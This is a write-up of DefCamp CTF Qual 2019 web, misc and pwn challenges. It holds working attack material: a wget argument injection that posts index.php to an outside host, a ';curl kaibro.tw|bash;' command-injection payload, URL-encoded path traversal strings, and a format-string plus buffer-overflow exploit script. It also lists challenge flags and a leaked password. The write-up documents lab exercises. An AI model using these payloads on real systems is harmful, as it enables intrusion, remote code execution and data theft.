Skip to content

Latest commit

 

History

History

20190907-defcampctfqual

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

DefCamp CTF Qual 2019

It's recommended to read our responsive web version of this writeup.

Web

Downloader v1

This challenge allows you to input a URL. Then it will use wget to download the content of this URL and put it into /upload/<random>. After this, it will run bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}' to prevent uploading php files.

But we can use argument injection to upload file:

wget http://kaibro.tw --post-file=/var/www/html/index.php kaibro.tw:8787

<?php

ini_set('display_errors', 0);
$out   = false;
$url   = $_POST['url'] ?? false;
$error = false;

if ($url && !preg_match('#^https?://([a-z0-9-]+\.)*[a-z0-9-]+\.[a-z0-9-]+/.+#i', $url)) {
    $error = 'Invalid URL';
} else if ($url && preg_match('/\.(htaccess|ph(p\d?|t|tml))$/', $url)) { // .htaccess .php .php3 -  .php7 .phtml .pht
    $error = 'Sneaky you!';
}

if (!$error && $url) {
    $target = 'uploads/' .uniqid() . bin2hex(openssl_random_pseudo_bytes(8));
    mkdir($target);
    chdir($target);
    touch('.htaccess');

    $cmd = escapeshellcmd('wget ' . $url) . ' 2>&1';
    $out = "\$ cd $target" . PHP_EOL;
    $out .= '$ ' . $cmd . PHP_EOL;
    $out .= shell_exec($cmd);

    $cmd = "bash -c 'rm $target/*.{php,pht,phtml,php4,php5,php6,php7}'";
    $out .= '$ ' . $cmd . PHP_EOL;
    $out .= shell_exec($cmd) . PHP_EOL;
}

?><!DOCTYPE html>
<html>
<head>
    <title>Downloader v1</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>

<div class="container mt-5">
    <div class="row">
        <div class="col-8 offset-2">
            <h3 class="text-center">File downloader v1</h3>
            <div class="card mt-5">
                <div class="card-header">Specify an URL to download</div>
                <form class="card-body" method="POST">
                    <?php if ($error): ?>
                    <div class="alert alert-danger" role="alert"><?php echo htmlentities($error); ?></div>
                    <?php endif;?>
                    <div class="form-group">
                        <label>URL to download:</label>
                        <input type="text" name="url" placeholder="http://example.com/image.jpg" value="<?php echo htmlentities($url, ENT_QUOTES); ?>" class="form-control" >
                    </div>
                    <button type="submit" class="btn btn-primary float-right">Submit</button>
                </form>
                <?php if ($out): ?>
                <div class="card-header card-footer">Output:</div>
                <div class="card-body">
                    <pre><code><?php echo htmlentities($out); ?></code></pre>
                </div>
                <?php endif;?>
            </div>
        </div>
    </div>
</div>

<!-- <a href="flag.php">###</a> -->

read the flag.php:

GET ME!
<?php /* DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0} */ ?>

imgur

In this challenge, you can set your avatar from imgur.com.

It will download the image from imgur.com and put it into profiles/xxxxx.jpg.

And there is a LFI vulnerability: ?page=xxxxx

So our target is to put malicious php code into image, then use LFI include it to RCE.

DCTF{762241E8981F7E4C2B134C2894747990989FB5DFF0A3AD8DB5A0CEB5D05CBD8D}

online-album

In this challenge, the /download/ path looks so weird.

e.g. Visiting /download/index.php will show the php source code.

After fuzzing, I found path traversal vulnerability: https://online-album.dctfq19.def.camp/download/%252e%252e%252fcomposer.json

So we can read any php source code now:

/download/%252e%252e%252froutes/web.php

<?php

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function () {
    return view('welcome');
});

Auth::routes();

Route::get('/home', 'HomeController@index')->name('home');
Route::get('/album/{path}', 'HomeController@album')->name('album')->where('path', '.*');
Route::get('/download/{path}', 'HomeController@download')->name('download')->where('path', '.*');
Route::post('/auto-logout', 'HomeController@auto_logout')->name('auto-logout');

Let's read the HomeController: /download/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/var/www/html/app/Http/Controllers/HomeController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Auth;

class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('home');
    }

    public function album(Request $request, $path)
    {
        // dd($path);
        // dd(getcwd());

        $path = urldecode($path);

        if ($path[0] == "/") {
            $path = substr($str, 1);
        }
        
        $files = scandir($path);
        
        foreach ($files as $key => $file) {
            if ($file[0] == ".") {
                unset($files[$key]);
            }
        }
        // $files = scandir("/var/www/html/");
        $html = "";
        foreach ($files as $photo) {
            $info = pathinfo($photo);
            if(array_key_exists("extension", $info)){
                if ($info["extension"] == "jpeg") {
                $html.="<a target='_blank' href='/download/".$path."/".$photo."'><img width='700' src='/".$path."/".$photo."'></a><hr>";
                }
            }
            
        }
        return view('home', [
            "files" => $files,
            "html" => $html,
        ]);     

    }

    public function download(Request $request, $path)
    {
        // dd($path);
        // dd(getcwd());

        $path = urldecode($path);

        if ($path[0] == "/") {
            $path = substr($str, 1);
        }

        if (strpos($path, "../..")) {
            dd("Ilegal path found!");
        }

        $file = file_get_contents($path);
        return $file;

    }

    public function auto_logout(Request $request)
    {
        Auth::logout();
        //delete file after logout
        $cmd = 'rm "'.storage_path().'/framework/sessions/'.escapeshellarg($request->logut_token).'"';
        shell_exec($cmd);
    }


}

There is a obvious Command Injection vulnerability in the auto_logout() function.

We can insert ";curl kaibro.tw|bash;" into logout_token, then get RCE.

DCTF{1196df3f624df7a099d4364e96df21a4c7283071177237bdd36e0981da68bd29}

Misc

numbers

This challenge is a classic nim game. First, build a nim game state table. Then, we are done. Notice that the timeout limit is very strict. So I rent a GCP server in switzerland in order to solve it.

#!/usr/bin/env python3
from pwn import *

r = remote('206.81.24.129', 2337)

r.sendlineafter("Hi! What's your name?\n", 'a')
r.sendlineafter('Ready? Y/N\n', 'Y')

def nim_tables(moves):
    table = [0]
    for i in range(1, 1000 + 1):
        values = []
        for move in moves:
            if i - move >= 0:
                values.append(table[i - move])
        if 0 in values:
            table.append(1)
        else:
            table.append(0)
    return table

def go():
    r.recvlines(2)
    moves = eval(r.recvline())
    moves = sorted(moves)
    table = nim_tables(moves)

    while True:
        text = r.recvline()
        score = int(text.decode().partition('Total Score:  ')[2])
        print(f'score: {score}')
        for move in moves[::-1]:
            if score - move >= 0 and table[score - move] == 0:
                r.sendlineafter('Your move: ', str(move))
                break
        text = r.recvline()
        if b'Well done' in text:
            break
        text = r.recvline()
        if b'Well done' in text:
            break

for i in range(10):
    go()

Eye Of The Tiger

We found the solution to this challenge at the last 20 minutes, and it's too late to solve it. QQ

This challenge is a tutorial video. We found that there was a adblock chrome extension installed on the author's computer, and it added a number continuously.

We noticed that this number only added either 1 or 2. We recorded the amount of change and converted them to 0 and 1. Then, we converted each 8 bits to an ascii character. The final result is the flag.

01000100010000110101010001000110011110110011000001100100
DCTF{0d

PwnRev

get-access

There was an format string vulnerability in the username. I used %p to dump the stack, and I found a string from %30$p. It's the password for this challenge.

username: test
password: $_TH1S1STH34W3S0M3P4sSw0RDF0RY0UDCTF2019_

secret

Just use format string to leak canary and libc base; then use buffer overflow to write retrun address as one gadget.

#!/usr/bin/env python

from pwn import *

ip = "206.81.24.129"
port = 1339

context.arch = "amd64"

r = remote(ip, port)
# r = process("pwn_secret")

raw_input("$")
r.sendlineafter(":", "_%15$p_%16$p_%17$p")
out = r.recvline().split("_")
canary = int(out[1], 16)
code_base = int(out[2], 16) - 3136
libc_base = int(out[3], 16) - 133168

log.info(hex(canary))
log.info(hex(code_base))
log.info(hex(libc_base))

r.sendlineafter(":", flat("a" * 136, canary, 'b' * 8, libc_base + 0x45216))

r.interactive()

crack-me-username

After reversing, the input string will be mapped to 6U2SRYZ9A84VQXK>7;F5E?I0GJW=PD3<MT@BLH:NO1C one byte by one byte and insert to the balance tree. And then, check the pre-order traversal is equals to E852036?;<B@DLIGJPNU. Therefore, do the reverse way and we get the username D9TCEFL20ASHIW1GNORM.